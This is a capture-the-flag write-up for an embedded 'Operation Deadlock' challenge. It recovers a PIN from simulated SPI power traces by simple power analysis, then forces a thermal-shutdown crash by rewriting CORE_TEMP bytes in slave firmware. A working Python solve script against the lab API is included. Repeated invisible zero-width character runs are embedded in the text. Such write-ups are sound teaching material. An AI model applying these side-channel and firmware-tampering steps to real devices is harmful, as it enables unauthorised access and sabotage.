← Back to Writeups
CUSTOMMediumHardware

Operation Deadlock

XESXOR9/2/20263 min read
#hardware#custom#medium#firmware_register_manipulation#simple_power_analysis#spi_fault_injection#trace_window_comparison#windows

Operation Deadlock

Platform: duckerz | Category: Hardware | Type: Challenge | Difficulty: Medium | OS: Windows | Author: XESXOR | Date: 2026-04-19 | Status: Solved Techniques: firmware_register_manipulation, simple_power_analysis, spi_fault_injection, trace_window_comparison

Summary

Task: recover a 4-digit PIN from SPI power traces, then modify slave firmware to crash the master device. Solution: use simple power analysis to map each PIN digit by windowed current spikes, then flash 0xFFFFFFFF into CORE_TEMP to trigger thermal shutdown and reveal the flag.

Operation Deadlock — duckerz

Description

Операция "тупик" Вам поручено проникнуть в закрытую встроенную систему, защищенную нераскрытым PIN-кодом. Кряк-кряк. Целевое устройство взаимодействует по шине SPI. Ваша задача состоит из двух частей: извлечь PIN-код с помощью анализа боковых каналов питания, а затем изменить встроенное ПО ведомого устройства, чтобы вызвать критическую ошибку в главном устройстве. Флажок находится на другой стороне. Кряк.

The challenge is a two-stage embedded task exposed through a browser UI and JSON API. First, we must recover a hidden 4-digit PIN from power traces. After that, we gain access to a 64-byte SPI slave firmware image and must modify it so the master device crashes. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Challenge URL: http://tasks.duckerz.ru:30043

Analysis

Stage 1: Power side-channel leak

The interesting endpoint is /api/stage1/probe. It accepts a JSON body with a guessed PIN:

json
{"guess": [0, 0, 0, 0]}

The response contains a CSV trace with 800 current samples. Looking at the frontend code shows the trace is visually split into four equal windows, which strongly suggests one 200-sample region per PIN digit.

After a few probes, the leak becomes obvious:

  • non-matching windows peak around ~40mA
  • the matching digit window spikes to about ~100mA ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

That means we do not need to brute-force the full PIN. We can send ten probes of the form [d, d, d, d] for d = 0..9 and inspect each 200-sample window separately. If window i has a large spike, then digit i is equal to d.

So the full PIN can be reconstructed with only 10 exploratory requests plus 1 final correct submission.

Stage 2: SPI firmware fault injection

Once Stage 1 is solved, /api/stage2/init returns a 64-byte firmware image as an array of integers. The UI also reveals the firmware map: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • 0x00..0x03 — read-only magic
  • 0x04..0x07 — version info
  • 0x08..0x0B — CORE_TEMP
  • 0x0C..0x0F — SPI config
  • 0x10..0x1F — watchdog and reserved
  • 0x20..0x3F — identifier string

Polling /api/stage2/tick makes the master read CORE_TEMP. The default value is 00 00 00 00. If we overwrite bytes 0x08..0x0B with FF FF FF FF, flash the modified firmware through /api/stage2/flash, and tick once more, the master interprets that as a critical temperature and halts with 0xDEADBEEF. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The same response includes the flag.

Solution

Step 1: Recover the PIN from traces

For each digit d from 0 to 9:

  1. Send guess=[d,d,d,d] to /api/stage1/probe
  2. Parse the returned CSV
  3. Split the 800 samples into four windows of 200 samples each
  4. Check max(window)
  5. If the maximum exceeds a threshold such as 70, that position contains digit d

After the ten probes, submit the recovered PIN once to unlock Stage 2.

Step 2: Force thermal shutdown

  1. Call /api/stage2/init
  2. Take the returned firmware array
  3. Replace bytes 8..11 with [0xFF, 0xFF, 0xFF, 0xFF]
  4. Flash it with /api/stage2/flash
  5. Trigger the master logic with /api/stage2/tick ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The tick response returns the flag directly.

Solve Script

python
#!/usr/bin/env python3
import csv
import io
import requests

URL = "http://tasks.duckerz.ru:30043"


def solve_stage1(session):
    session.post(f"{URL}/api/session/init")
    pin = [None] * 4

    for digit in range(10):
        resp = session.post(f"{URL}/api/stage1/probe", json={"guess": [digit] * 4})
        data = resp.json()
        values = [float(row["current_mA"]) for row in csv.DictReader(io.StringIO(data["csv"]))]

        for idx in range(4):
            window = values[idx * 200:(idx + 1) * 200]
            if max(window) > 70:
                pin[idx] = digit
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    resp = session.post(f"{URL}/api/stage1/probe", json={"guess": pin})
    data = resp.json()
    return pin, data["pin"]


def solve_stage2(session):
    firmware = session.post(f"{URL}/api/stage2/init").json()["firmware"]
    firmware[8:12] = [0xFF, 0xFF, 0xFF, 0xFF]
    session.post(f"{URL}/api/stage2/flash", json={"firmware": firmware})
    return session.post(f"{URL}/api/stage2/tick").json()["flag"]


def main():
    session = requests.Session()
    pin, revealed = solve_stage1(session)
    flag = solve_stage2(session)
    print("PIN:", "".join(map(str, pin)), f"(server revealed: {revealed})")
    print("FLAG:", flag)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


if __name__ == "__main__":
    main()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍